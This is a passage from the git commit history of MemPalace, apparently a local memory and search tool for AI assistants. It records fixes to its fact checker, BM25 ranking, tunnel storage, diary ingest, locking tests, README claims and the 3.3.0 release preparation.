husband" would NOT have fired). Replaced with a proper parse → lookup
→ compare pipeline:

  * ``_extract_claims`` parses two surface forms ("X is Y's Z" and
    "X's Z is Y") into ``(subject, predicate, object)`` triples.
  * ``_check_kg_contradictions`` pulls the subject's outgoing facts
    and flags two classes:
      - ``relationship_mismatch`` when a current KG fact matches the
        same ``(subject, object)`` pair but with a different predicate.
      - ``stale_fact`` when the exact triple exists but is
        ``valid_to``-closed in the past.
  * Stale-fact detection is now implemented (the PR body claimed it;
    the old code silently didn't implement it).

## Performance fix — O(n²) → O(mentioned × n)

``_check_entity_confusion`` previously computed Levenshtein for every
pair of registered names on every ``check_text`` call. For 1,000
registered names that's ~500K edit-distance calls per hook invocation.
Now we first identify which registry names actually appear in the text
(single regex scan), then only compute edit distance between mentioned
and unmentioned names. Pinned by a test that asserts <200ms on a 500-
name registry with zero mentions.

Also: when *both* similar names are mentioned in the text, we no
longer flag them — the user clearly knows they're different people.

## Shared entity-registry loader

``mempalace/miner.py`` already had an mtime-cached loader for
``~/.mempalace/known_entities.json``. fact_checker had a duplicate
implementation that leaked file handles and ignored caching. Extended
miner's cache to expose both the flat set (``_load_known_entities``)
and the raw category dict (``_load_known_entities_raw``); fact_checker
now imports the latter. No more double disk reads, no more handle leak.

## Tests — 24 cases in tests/test_fact_checker.py

All three detection paths + both dead-code regressions:
  * ``test_kg_init_uses_db_path_not_palace_path_kwarg`` — pins the
    correct KG constructor signature so the ``palace_path=`` bug can't
    come back.
  * ``test_relationship_mismatch_detected`` — the headline example from
    the PR body now actually fires.
  * ``test_stale_fact_detected`` — valid_to-closed triple is flagged.
  * ``test_current_fact_same_triple_is_not_flagged`` — no false positive
    on a still-valid match.
  * ``test_performance_bounded_by_mentioned_names`` — 500-name registry,
    zero mentions, <200ms. Regression for the O(n²) blowup.
  * ``test_no_false_positive_when_both_names_mentioned`` — Mila and
    Milla in the same text is fine.
  * Plus claim extraction, flatten_names shapes, CLI exit code, empty
    text handling, missing-palace graceful fallback, registry-dict
    shape support.

785/785 suite pass. ruff + format clean on CI-pinned 0.4.x.

* Optimize entity detection with regex caching and pre-compilation

- Use functools.lru_cache to cache compiled patterns for entity names.
- Pre-compile static pronoun patterns into a single regex.
- Remove redundant .lower() calls in score_entity loop.

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>

* docs: fix stale milla-jovovich org URLs in website and plugin manifests (#787)

Follow-up to #766 which covers version.py, pyproject.toml, README,
CHANGELOG, and CONTRIBUTING. These 11 files still had the old org
name in URLs:

- website/ (VitePress config + 6 docs pages)
- .claude-plugin/ (plugin.json repository, README marketplace command)
- .codex-plugin/ (plugin.json URLs, README links)

Author name fields are intentionally unchanged.

* test: make diary state path assertion platform-neutral

The Windows CI job failed on:

    assert '/.mempalace/state/' in str(state_path)

because Windows uses ``\`` as the path separator, so the substring
never matches. The behavior under test (state file lives outside the
diary dir, under ``~/.mempalace/state/``) is already correct on both
platforms — only the assertion was Unix-only.

Switch to ``state_path.parent`` comparisons that work on any OS.

* test: serialize mine_lock concurrency test with multiprocessing

The macOS CI job failed ``test_lock_blocks_concurrent_access`` because
``fcntl.flock`` on BSD/macOS is per-*process*, not per-FD: two threads
in the same process both acquire even when they open their own file
descriptors. The test passed on Linux (per-FD flock) and Windows
(per-FD ``msvcrt.locking``) but was never actually exercising the
lock's real contract.

``mine_lock`` is designed to serialize multi-*agent* access — i.e.,
separate processes, not threads. Switch the test to
``multiprocessing.get_context('spawn')`` with a module-level worker
(so the spawn pickles cleanly) so it:

  1. reflects the actual use case (one lock per mining process);
  2. passes on all three OSes without flock-semantics branching;
  3. catches real regressions (a broken lock would now let both
     processes through, exactly what we care about).

Hold time bumped to 0.3s and the "wait until p1 acquires" delay to
0.2s to tolerate spawn's higher startup latency on macOS/Windows.

* test: verify mine_lock via disjoint critical-section intervals

The previous revision used multiprocessing but still relied on timing
("second process waited at least N seconds") which flakes on CI where
spawn overhead eats into the hold window. Linux CI observed the second
process report a 0.088s wait — below the 0.1s threshold — even though
the lock behavior was correct; spawn was just slow enough that the
first process had nearly finished holding when the second got past
its own spawn.

Switch to effect-based verification: each worker logs its
[enter_time, exit_time] inside the critical section, and the test
asserts the two intervals are disjoint after sorting. A broken lock
would produce overlapping intervals regardless of spawn latency; a
working lock cannot.

Also removed the mp.Queue since we no longer pass timing data back.

* Fix: ruff format with CI-pinned version (0.4.x)

* fix: README audit — 42 TDD tests + hall detection + 7 claim fixes (#835)

* fix: README audit — match every claim to shipped code + add hall detection

TDD audit: wrote 42 tests verifying README claims against codebase.
Fixed all 7 failures:

1. Tool count: 19 → 29 (10 tools were undocumented)
2. Added tool table rows for tunnels, drawer management, system tools
3. Version badge: 3.1.0 → 3.2.0
4. dialect.py file reference: "30x lossless" → "AAAK index format for closet pointers"
5. Wake-up token cost: "~170 tokens" → "~600-900 tokens" (matches layers.py)
6. pyproject.toml version in project structure: v3.0.0 → v3.2.0
7. Hall detection: added detect_hall() to miner.py — drawers now tagged
   with hall metadata so palace_graph.py can build hall connections

New code:
- miner.py: detect_hall() — keyword scoring against config hall_keywords,
  writes hall field to every drawer's metadata
- tests/test_hall_detection.py — 12 TDD tests (written before code)
- tests/test_readme_claims.py — 42 TDD tests verifying README accuracy

859/859 tests pass.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: resolve ruff lint — unused imports and variables

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* style: ruff format with CI-pinned 0.4.x

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: use conftest fixtures in hall tests for Windows compat

Windows CI fails with NotADirectoryError when ChromaDB tries to
write HNSW files in short-lived TemporaryDirectory. Use conftest
palace_path and tmp_dir fixtures instead — same pattern as all
other tests that touch ChromaDB.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: address Igor's review — convo_miner halls, cached config, markdown typo

TDD: wrote tests for convo_miner hall metadata and config caching
BEFORE verifying the code changes.

1. README markdown typo: extra ** in wake-up token row (line 195)
2. convo_miner.py: added _detect_hall_cached() — conversation
   drawers now get hall metadata (was missing, Igor caught it)
3. miner.py + convo_miner.py: cached hall_keywords at module level
   so config.json isn't re-read per drawer during bulk mine
4. New tests: TestConvoMinerWritesHalls, TestDetectHallCaching

861/861 tests pass. ruff clean.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(website): update vitepress base url for custom domain

* chore(release): bump version strings to 3.3.0 and curate CHANGELOG

Prepare develop for the 3.3.0 release cycle.

Version bumps:
- mempalace/version.py: 3.2.0 -> 3.3.0
- pyproject.toml: 3.2.0 -> 3.3.0
- README.md: pyproject.toml label and shields.io badge
- uv.lock: mempalace 3.0.0 -> 3.3.0 (also fills in resolved dev/extras)

CHANGELOG.md:
- Close out the stale [Unreleased] section as [3.2.0] - 2026-04-12
  (v3.2.0 was tagged on that date but the release flip was never made)
- Add a fresh [Unreleased] - v3.3.0 section covering the 49 commits
  since v3.2.0: closet layer, BM25 hybrid search, entity metadata,
  diary ingest, cross-wing tunnels, drawer-grep, offline fact checker,
  LLM-based closet regen, hall detection, cosine-distance fix,
  multi-agent locking, README audit, etc.
- Adopt Keep a Changelog + SemVer framing
- Add version compare reference links at the bottom
- Fix stale milla-jovovich/mempalace preamble URL to MemPalace/mempalace

---------

Co-authored-by: MSL <232237854+milla-jovovich@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: eblander <eblander@foundrydigital.com>
Co-authored-by: shafdev <96260000+shafdev@users.noreply.github.com>
Co-authored-by: google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com>
Co-authored-by: mvalentsev <michael@valentsev.ru>
Co-authored-by: Dominique Deschatre <43499065+domiscd@users.noreply.github.com>
2026-04-13 18:25:01 -07:00
Milla JandClaude Opus 4.6 045023f449 fix: save hook auto-mines transcript without MEMPAL_DIR (#840)
TDD: test written first, failed, then fixed.

Problem: save hook says "saved in background" but MEMPAL_DIR defaults
to empty, so nothing actually mines. Users get no auto-save despite
the hook firing every 15 messages.

Fix: use TRANSCRIPT_PATH (received from Claude Code in the hook's
JSON input) to discover the session directory. Mine that directory
automatically. MEMPAL_DIR is still supported as override but no
longer required.

Also fixed: bare python3 → $(command -v python3) for nohup safety.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 18:09:59 -07:00
Igor Lins e Silva 52392ad5b4 Merge pull request #836 from domiscd/fix/website-base-url
fix(website): update vitepress base url for custom domain
2026-04-13 21:42:51 -03:00
Igor Lins e Silva e8d06e5e4a Merge pull request #837 from MemPalace/release/3.3.0-prep
chore(release): bump to 3.3.0 and curate CHANGELOG
2026-04-13 21:42:10 -03:00
Igor Lins e Silva 41696df1ac chore(release): bump version strings to 3.3.0 and curate CHANGELOG
Prepare develop for the 3.3.0 release cycle.

Version bumps:
- mempalace/version.py: 3.2.0 -> 3.3.0
- pyproject.toml: 3.2.0 -> 3.3.0
- README.md: pyproject.toml label and shields.io badge
- uv.lock: mempalace 3.0.0 -> 3.3.0 (also fills in resolved dev/extras)

CHANGELOG.md:
- Close out the stale [Unreleased] section as [3.2.0] - 2026-04-12
  (v3.2.0 was tagged on that date but the release flip was never made)
- Add a fresh [Unreleased] - v3.3.0 section covering the 49 commits
  since v3.2.0: closet layer, BM25 hybrid search, entity metadata,
  diary ingest, cross-wing tunnels, drawer-grep, offline fact checker,
  LLM-based closet regen, hall detection, cosine-distance fix,
  multi-agent locking, README audit, etc.
- Adopt Keep a Changelog + SemVer framing
- Add version compare reference links at the bottom
- Fix stale milla-jovovich/mempalace preamble URL to MemPalace/mempalace
2026-04-13 21:36:56 -03:00
Dominique Deschatre 63dd165fed fix(website): update vitepress base url for custom domain 2026-04-13 21:23:51 -03:00
Igor Lins e Silva 5320246297 Merge pull request #807 from sha2fiddy/fix/218-cosine-distance-metadata
Fix: set cosine distance metadata on all collection creation sites
2026-04-13 21:18:40 -03:00
Milla JandClaude Opus 4.6 62df24599e fix: README audit — 42 TDD tests + hall detection + 7 claim fixes (#835)
* fix: README audit — match every claim to shipped code + add hall detection

TDD audit: wrote 42 tests verifying README claims against codebase.
Fixed all 7 failures:

1. Tool count: 19 → 29 (10 tools were undocumented)
2. Added tool table rows for tunnels, drawer management, system tools
3. Version badge: 3.1.0 → 3.2.0
4. dialect.py file reference: "30x lossless" → "AAAK index format for closet pointers"
5. Wake-up token cost: "~170 tokens" → "~600-900 tokens" (matches layers.py)
6. pyproject.toml version in project structure: v3.0.0 → v3.2.0
7. Hall detection: added detect_hall() to miner.py — drawers now tagged
   with hall metadata so palace_graph.py can build hall connections

New code:
- miner.py: detect_hall() — keyword scoring against config hall_keywords,
  writes hall field to every drawer's metadata
- tests/test_hall_detection.py — 12 TDD tests (written before code)
- tests/test_readme_claims.py — 42 TDD tests verifying README accuracy

859/859 tests pass.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: resolve ruff lint — unused imports and variables

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* style: ruff format with CI-pinned 0.4.x

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: use conftest fixtures in hall tests for Windows compat

Windows CI fails with NotADirectoryError when ChromaDB tries to
write HNSW files in short-lived TemporaryDirectory. Use conftest
palace_path and tmp_dir fixtures instead — same pattern as all
other tests that touch ChromaDB.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: address Igor's review — convo_miner halls, cached config, markdown typo

TDD: wrote tests for convo_miner hall metadata and config caching
BEFORE verifying the code changes.

1. README markdown typo: extra ** in wake-up token row (line 195)
2. convo_miner.py: added _detect_hall_cached() — conversation
   drawers now get hall metadata (was missing, Igor caught it)
3. miner.py + convo_miner.py: cached hall_keywords at module level
   so config.json isn't re-read per drawer during bulk mine
4. New tests: TestConvoMinerWritesHalls, TestDetectHallCaching

861/861 tests pass. ruff clean.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-13 17:11:11 -07:00
Igor Lins e Silva 09e0bcea66 Merge pull request #808 from mvalentsev/docs/fix-remaining-org-urls
docs: fix stale org URLs in website and plugin manifests (#787)
2026-04-13 20:07:27 -03:00
Igor Lins e Silva c038b8ebdd Merge pull request #828 from MemPalace/performance-optimization-regex-caching-3001788084232137906
⚡ Optimize entity detection with regex caching and pre-compilation
2026-04-13 19:43:27 -03:00
Igor Lins e Silva f7fcd51164 Merge pull request #827 from MemPalace/fix-unused-import-main-11480774650305903580
🧹 Remove unused import 'main' from mempalace/__init__.py
2026-04-13 19:41:02 -03:00
eblander 8dc5970ca9 Fix: ruff format with CI-pinned version (0.4.x) 2026-04-13 18:29:48 -04:00
Igor Lins e Silva a74586c627 Merge pull request #829 from MemPalace/pr/fact-checker
feat(v3.3): land Milla's stacked closet/BM25/KG/LLM chain (#784-#795) on develop
2026-04-13 19:19:05 -03:00
Igor Lins e Silva 1dc20e307b test: verify mine_lock via disjoint critical-section intervals
The previous revision used multiprocessing but still relied on timing
("second process waited at least N seconds") which flakes on CI where
spawn overhead eats into the hold window. Linux CI observed the second
process report a 0.088s wait — below the 0.1s threshold — even though
the lock behavior was correct; spawn was just slow enough that the
first process had nearly finished holding when the second got past
its own spawn.

Switch to effect-based verification: each worker logs its
[enter_time, exit_time] inside the critical section, and the test
asserts the two intervals are disjoint after sorting. A broken lock
would produce overlapping intervals regardless of spawn latency; a
working lock cannot.

Also removed the mp.Queue since we no longer pass timing data back.
2026-04-13 19:08:57 -03:00
Igor Lins e Silva e052074624 test: serialize mine_lock concurrency test with multiprocessing
The macOS CI job failed ``test_lock_blocks_concurrent_access`` because
``fcntl.flock`` on BSD/macOS is per-*process*, not per-FD: two threads
in the same process both acquire even when they open their own file
descriptors. The test passed on Linux (per-FD flock) and Windows
(per-FD ``msvcrt.locking``) but was never actually exercising the
lock's real contract.

``mine_lock`` is designed to serialize multi-*agent* access — i.e.,
separate processes, not threads. Switch the test to
``multiprocessing.get_context('spawn')`` with a module-level worker
(so the spawn pickles cleanly) so it:

  1. reflects the actual use case (one lock per mining process);
  2. passes on all three OSes without flock-semantics branching;
  3. catches real regressions (a broken lock would now let both
     processes through, exactly what we care about).

Hold time bumped to 0.3s and the "wait until p1 acquires" delay to
0.2s to tolerate spawn's higher startup latency on macOS/Windows.
2026-04-13 19:02:51 -03:00
Igor Lins e Silva 7192552624 test: make diary state path assertion platform-neutral
The Windows CI job failed on:

    assert '/.mempalace/state/' in str(state_path)

because Windows uses ``\`` as the path separator, so the substring
never matches. The behavior under test (state file lives outside the
diary dir, under ``~/.mempalace/state/``) is already correct on both
platforms — only the assertion was Unix-only.

Switch to ``state_path.parent`` comparisons that work on any OS.
2026-04-13 18:55:36 -03:00
mvalentsev c4baceccb4 docs: fix stale milla-jovovich org URLs in website and plugin manifests (#787)
Follow-up to #766 which covers version.py, pyproject.toml, README,
CHANGELOG, and CONTRIBUTING. These 11 files still had the old org
name in URLs:

- website/ (VitePress config + 6 docs pages)
- .claude-plugin/ (plugin.json repository, README marketplace command)
- .codex-plugin/ (plugin.json URLs, README links)

Author name fields are intentionally unchanged.
2026-04-14 02:44:41 +05:00
Igor Lins e Silva d16de9fe69 Merge pull request #793 from MemPalace/pr/closet-llm-generic
feat: optional LLM-based closet regeneration — bring-your-own endpoint
2026-04-13 18:42:42 -03:00
Igor Lins e SilvaandMSL 6b7dcc53d4 merge: pr/closet-llm-generic + harden LLM regen path for production
Brings in PR #793 (optional LLM-based closet regeneration via
user-configured OpenAI-compatible endpoint) and PR #795 (hybrid
closet+drawer search — closets boost, never gate). Stack: #784 → #788
→ #789 → #790 → #791 → #792 → #793 (+ #795).

Findings hardened on our side
─────────────────────────────

1) closet_llm.regenerate_closets didn't use the blessed palace helpers.

   Before:
     * manual closets_col.get(where=...) + .delete(ids=...) with a
       silent ``except Exception: pass`` around both — if the purge
       failed, pre-existing regex closets survived alongside fresh LLM
       closets, giving the searcher double hits for the same source.
     * ``source.split('/')[-1][:30]`` to build the closet_id — quietly
       wrong on Windows paths (``C:\\proj\\a.md`` has no ``/``, so the
       whole string ends up in the ID).
     * no mine_lock around purge+upsert — a concurrent regex rebuild of
       the same source could interleave with our purge and leave a mix
       of regex and LLM pointers.
     * no ``normalize_version`` stamp on the LLM closets — the miner's
       stale-version gate would treat them as leftovers from an older
       schema and rebuild over them on the next mine.

   After: routes through ``purge_file_closets`` + ``mine_lock`` +
   ``os.path.basename`` + ``NORMALIZE_VERSION`` stamp. Regression tests
   cover each.

2) searcher.search_memories was still closet-first.

   PR #795 merged into #793's head to fix the recall regression
   documented in that PR (R@1 0.25 on narrative content vs. 0.42
   baseline). The hybrid design makes closets a ranking boost rather
   than a gate: drawers are always queried at the floor, and matching
   closet hits (rank 0-4 within CLOSET_DISTANCE_CAP=1.5) add a boost
   of 0.40/0.25/0.15/0.08/0.04 to the effective distance.

   Merged to take the incoming hybrid design, with two cleanups:
   * kept the ``_expand_with_neighbors`` / ``_extract_drawer_ids_from_closet``
     helpers as separately-tested utilities (still imported by tests
     and future callers);
   * replaced the fragile ``source_file.endswith(basename)`` reverse-
     lookup in the enrichment step with internal ``_source_file_full``
     / ``_chunk_index`` fields stripped before return, so enrichment
     doesn't silently pick the wrong path when two sources share a
     basename across directories;
   * drawer-grep enrichment now sorts by ``chunk_index`` before
     neighbor expansion, so ``best_idx ± 1`` corresponds to actual
     document order rather than whatever order Chroma returned.

3) Closet-first tests in test_closets.py (``TestSearchMemoriesClosetFirst``,
   end-to-end ``test_closet_first_search_includes_drawer_index_and_total``)
   pinned contracts that the hybrid path now violates (``matched_via``
   went from ``"closet"`` to ``"drawer+closet"``). Rewrote them around
   the new invariant: direct drawers are always the floor, closet
   agreement flips the hit's matched_via and exposes closet_preview.

Verification
────────────

* 805/805 pass under ``uv run pytest tests/ -v --ignore=tests/benchmarks``
  (13 new tests from PR #793 + 5 from PR #795 + 2 new regressions for
  the closet_llm hardening + the rewritten hybrid assertions in
  test_closets.py).
* CI-pinned ruff 0.4.x clean on ``mempalace/`` + ``tests/`` (check +
  format both pass).
* No new deps — closet_llm.py still uses stdlib ``urllib.request`` per
  the PR's "zero new dependencies" promise.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>
2026-04-13 18:40:36 -03:00
google-labs-jules[bot]andigorls d886a62d8a Optimize entity detection with regex caching and pre-compilation
- Use functools.lru_cache to cache compiled patterns for entity names.
- Pre-compile static pronoun patterns into a single regex.
- Remove redundant .lower() calls in score_entity loop.

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-13 21:35:53 +00:00
Igor Lins e Silva 1263c3c91e merge: full hardened stack + rewrite fact_checker around actual KG API
Merges the full hardened stack (up through #791 drawer-grep) and turns
fact_checker from "dead code hidden behind bare except" into an
actually-working offline contradiction detector with tests.

## Dead paths the PR body advertised but the code never executed

Both buried by a single outer ``except Exception: pass``:

  * ``kg.query(subject)`` — ``KnowledgeGraph`` has no ``query()`` method;
    it has ``query_entity()``. The attribute error was silently swallowed
    and the entire KG branch always returned ``[]``. Now using
    ``kg.query_entity(subject, direction="outgoing")`` with proper
    handling of the ``predicate``/``object``/``current``/``valid_to``
    fields the real API returns.
  * ``KnowledgeGraph(palace_path=palace_path)`` — the constructor's only
    kwarg is ``db_path``. Passing ``palace_path`` raised TypeError,
    silently swallowed. Now computing the db_path correctly from
    ``<palace>/knowledge_graph.sqlite3``, matching the convention the
    MCP server already uses.

## Contradiction logic rewritten

The previous ``if kg_pred in claim and fact.object not in claim`` only
fired when text used the SAME predicate word as the KG fact — the exact
opposite of the stated use case ("Bob is Alice's brother" when KG says
husband" would NOT have fired). Replaced with a proper parse → lookup
→ compare pipeline:

  * ``_extract_claims`` parses two surface forms ("X is Y's Z" and
    "X's Z is Y") into ``(subject, predicate, object)`` triples.
  * ``_check_kg_contradictions`` pulls the subject's outgoing facts
    and flags two classes:
      - ``relationship_mismatch`` when a current KG fact matches the
        same ``(subject, object)`` pair but with a different predicate.
      - ``stale_fact`` when the exact triple exists but is
        ``valid_to``-closed in the past.
  * Stale-fact detection is now implemented (the PR body claimed it;
    the old code silently didn't implement it).

## Performance fix — O(n²) → O(mentioned × n)

``_check_entity_confusion`` previously computed Levenshtein for every
pair of registered names on every ``check_text`` call. For 1,000
registered names that's ~500K edit-distance calls per hook invocation.
Now we first identify which registry names actually appear in the text
(single regex scan), then only compute edit distance between mentioned
and unmentioned names. Pinned by a test that asserts <200ms on a 500-
name registry with zero mentions.

Also: when *both* similar names are mentioned in the text, we no
longer flag them — the user clearly knows they're different people.

## Shared entity-registry loader

``mempalace/miner.py`` already had an mtime-cached loader for
``~/.mempalace/known_entities.json``. fact_checker had a duplicate
implementation that leaked file handles and ignored caching. Extended
miner's cache to expose both the flat set (``_load_known_entities``)
and the raw category dict (``_load_known_entities_raw``); fact_checker
now imports the latter. No more double disk reads, no more handle leak.

## Tests — 24 cases in tests/test_fact_checker.py

All three detection paths + both dead-code regressions:
  * ``test_kg_init_uses_db_path_not_palace_path_kwarg`` — pins the
    correct KG constructor signature so the ``palace_path=`` bug can't
    come back.
  * ``test_relationship_mismatch_detected`` — the headline example from
    the PR body now actually fires.
  * ``test_stale_fact_detected`` — valid_to-closed triple is flagged.
  * ``test_current_fact_same_triple_is_not_flagged`` — no false positive
    on a still-valid match.
  * ``test_performance_bounded_by_mentioned_names`` — 500-name registry,
    zero mentions, <200ms. Regression for the O(n²) blowup.
  * ``test_no_false_positive_when_both_names_mentioned`` — Mila and
    Milla in the same text is fine.
  * Plus claim extraction, flatten_names shapes, CLI exit code, empty
    text handling, missing-palace graceful fallback, registry-dict
    shape support.

785/785 suite pass. ruff + format clean on CI-pinned 0.4.x.
2026-04-13 18:20:11 -03:00
google-labs-jules[bot]andigorls f3c6770ecf fix: remove unused import 'main' from mempalace/__init__.py
Removed the 'main' import from `mempalace/__init__.py` and updated
`pyproject.toml` to point the script entry point directly to
`mempalace.cli:main`. This ensures the CLI remains functional while
improving code hygiene.

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-13 21:16:03 +00:00
Igor Lins e Silva 339f96a4d9 Merge remote-tracking branch 'origin/pr/drawer-grep-search' into pr/fact-checker 2026-04-13 18:13:24 -03:00
Igor Lins e Silva e9201fb617 merge: pr/cross-wing-tunnels + rebuild drawer-grep on hardened closet path
Merges the full hardened stack (#788 closets, #789 entity/BM25/diary,
#790 tunnels) and reimplements the drawer-grep feature in a way that
composes with the chunk-level closet-first search instead of fighting it.

## Background

The original PR added "drawer-grep" on top of the pre-hardening closet
code that returned whole-file blobs. My #788 hardening changed that
path to return *chunk-level* hits by parsing each closet's
``→drawer_id`` pointers and hydrating exactly those drawers. That made
the original drawer-grep grep-over-all-drawers logic redundant — the
closet already points at the relevant chunk.

What remained valuable from the original PR was the *context expansion*
idea: a chunk boundary can clip a thought mid-stride (matched chunk
says "here's a breakdown:" and the breakdown lives in the next chunk),
so callers want ±1 neighbor chunks for free rather than a follow-up
get_drawer call.

## Change

New ``_expand_with_neighbors(drawers_col, doc, meta, radius=1)`` helper
in searcher.py:

* Reads ``source_file`` + ``chunk_index`` from the matched drawer's
  metadata.
* Fetches the ±radius sibling chunks in a SINGLE ChromaDB query using
  ``$and + $in`` — no "fetch all drawers for source" blowup.
* Sorts retrieved chunks by chunk_index, joins with ``\n\n``.
* Does a cheap metadata-only second query to compute ``total_drawers``
  so callers know where in the file they landed.
* Graceful fallback to the matched doc alone on any ChromaDB failure or
  missing metadata — search never breaks because expansion failed.

``_closet_first_hits`` now calls this helper and tags each hit with
``drawer_index`` + ``total_drawers``. Hit shape stays consistent with
the direct-search path (both still carry ``matched_via``) so callers
can't tell which path produced a given hit except via that field.

## Tests

6 new cases in TestDrawerGrepExpansion:
* neighbors returned in chunk_index order (not hash order)
* edge case: matched chunk at index 0 — only next neighbor surfaces
* edge case: matched chunk at last index — only prev neighbor surfaces
* edge case: 1-drawer file — returns just the matched doc
* missing/non-int chunk_index metadata — graceful fallback
* end-to-end via ``search_memories`` — closet-first hit carries
  drawer_index, total_drawers, and includes ±1 neighbors

761/761 suite pass; ruff + format clean on CI-pinned 0.4.x.

Merge resolutions: miner.py kept develop's purge+NORMALIZE_VERSION;
searcher.py dropped the old whole-file-blob block entirely in favor of
rebuilding context expansion on top of ``_closet_first_hits``;
test_closets.py took develop's 47-test baseline and appended
TestDrawerGrepExpansion.
2026-04-13 18:08:01 -03:00
Igor Lins e Silva 20255b05be merge: develop + harden cross-wing tunnels for production
Merges the hardened closet/entity/BM25/diary stack from #789 and fixes
five correctness/durability issues in the tunnels module plus the
directional/symmetric design question.

## Design: tunnels are now symmetric

Per review discussion: a tunnel represents "these two things relate",
not "A causes B". The canonical ID now hashes the *sorted* endpoint
pair, so ``create_tunnel(A, B)`` and ``create_tunnel(B, A)`` resolve to
the same record and the second call updates the label rather than
creating a duplicate. ``follow_tunnels`` can be called from either
endpoint and surfaces the other side consistently.

The returned dict still preserves ``source``/``target`` in the order
the caller supplied, so UIs that want to render the connection
directionally can do so.

## Correctness fixes

* **Atomic write** — ``_save_tunnels`` writes to ``tunnels.json.tmp``
  and ``os.replace``s it into place. A crash mid-write can no longer
  leave a truncated file that silently reads back as ``[]`` and wipes
  every tunnel. Includes ``f.flush() + os.fsync`` before replace on
  platforms that support it.
* **Concurrent-write lock** — ``create_tunnel`` and ``delete_tunnel``
  wrap the load→mutate→save cycle in ``mine_lock(_TUNNEL_FILE)``.
  Without this, two agents creating tunnels simultaneously would both
  read the same snapshot and the later writer would drop the earlier
  writer's tunnel.
* **Corrupt-file tolerance** — ``_load_tunnels`` now uses a context
  manager, validates that the loaded JSON is a list, and returns ``[]``
  for any read failure. Subsequent ``create_tunnel`` then overwrites
  the corrupt file via atomic write — no manual recovery needed.
* **Input validation** — new ``_require_name`` helper rejects empty or
  whitespace-only wing/room names with a clear ``ValueError``. Prevents
  phantom tunnels with blank endpoints from ever reaching the JSON
  store.
* **Timezone-aware timestamps** — ``created_at`` / ``updated_at`` now
  use ``datetime.now(timezone.utc).isoformat()``, matching diary ingest
  and other recent modules.

## Tests (12 in TestTunnels)

5 original + 7 regression cases:
* ``test_tunnel_is_symmetric`` — A↔B and B↔A dedupe to one record.
* ``test_follow_tunnels_works_from_either_endpoint`` — symmetric surface.
* ``test_empty_endpoint_fields_rejected`` — validation guard.
* ``test_corrupt_tunnel_file_does_not_lose_new_writes`` — truncated
  JSON treated as empty; next create persists cleanly.
* ``test_atomic_write_leaves_no_stray_tmp_file`` — no leftover ``.tmp``.
* ``test_concurrent_creates_preserve_all_tunnels`` — 5 threads each
  create a distinct tunnel; all 5 persisted (regression for the
  read-modify-write race).
* ``test_created_at_is_timezone_aware`` — ISO8601 has tz suffix.

Merge resolutions: tests/test_closets.py combined develop's hardened
closet/entity/BM25/diary tests with this PR's TestTunnels class.

755/755 tests pass. ruff + format clean under CI-pinned 0.4.x.
2026-04-13 17:50:43 -03:00
Igor Lins e Silva 32d7f4376b merge: develop + harden entity metadata, BM25, and diary ingest for production
Merges develop (closet hardening #826, strip_noise #785, lock #784) and
replaces every sub-feature in this PR with a correct, tested
implementation. Shippable now.

## 1. Real Okapi-BM25 (searcher.py)

The prior `_bm25_score()` hardcoded `idf = log(2.0)` for every term — it
was really a scaled TF, not BM25, and couldn't tell a discriminative
term from a generic one. Replaced with `_bm25_scores(query, documents)`
that computes proper IDF over the provided candidate corpus using the
Lucene smoothed formula `log((N - df + 0.5) / (df + 0.5) + 1)`. Well-
defined for re-ranking vector-retrieval candidates — IDF there measures
how discriminative each term is *within the candidate set*, exactly the
signal we want.

`_hybrid_rank` also fixed:
- Vector normalization is now absolute `max(0, 1 - dist)`, not
  `1 - dist/max_dist` — adding/removing a candidate no longer reshuffles
  the others.
- BM25 is min-max normalized within candidates (bounded [0, 1]).
- Closet path now re-ranks too (was previously returning closet-order
  hits without hybrid scoring).
- `_hybrid_score` internal field stripped from output; `bm25_score`
  exposed for debugging.

## 2. Entity metadata (miner.py)

- Reuses `_ENTITY_STOPLIST` from palace.py so sentence-starters like
  "When", "After", "The" no longer land as entities (regression test
  covers this).
- Known-entity registry is cached at module level, keyed by the
  registry file's mtime — no more disk read per drawer.
- File handle now uses a context manager.
- Truncates the entity LIST (to 25) before joining — never splits a
  name in the middle.

## 3. Diary ingest (diary_ingest.py)

- State file now lives at `~/.mempalace/state/diary_ingest_<hash>.json`,
  keyed by (palace_path, diary_dir). No more pollution of the user's
  content directory.
- Drawer IDs now hash `(wing, date_str)` — a user with personal + work
  diaries on the same day no longer silently clobbers.
- Each day's upsert runs inside `mine_lock(source_file)` so concurrent
  ingest from two terminals can't race.
- `force=True` now calls `purge_file_closets` before rebuild so
  leftover numbered closets from a longer prior day don't orphan.

## 4. Tests (tests/test_closets.py)

Merged this PR's MineLock/Entity/BM25/Diary tests with develop's
hardened Build/Upsert/Purge/Rebuild/SearchClosetFirst tests. Added
specific regression tests for every fix above:
- entity stoplist applies (no "When/After/The")
- entity list capped before join (no partial tokens)
- registry cached by mtime (mock-verified zero re-reads)
- BM25 IDF downweights terms present in every doc (real BM25 evidence)
- hybrid rank absolute normalization stable against outliers
- diary state file outside user's diary dir
- diary wing-prefixed IDs prevent cross-wing date collisions

35/35 closet tests pass; full suite 743/743. ruff + format clean under
CI-pinned 0.4.x.
2026-04-13 17:37:45 -03:00
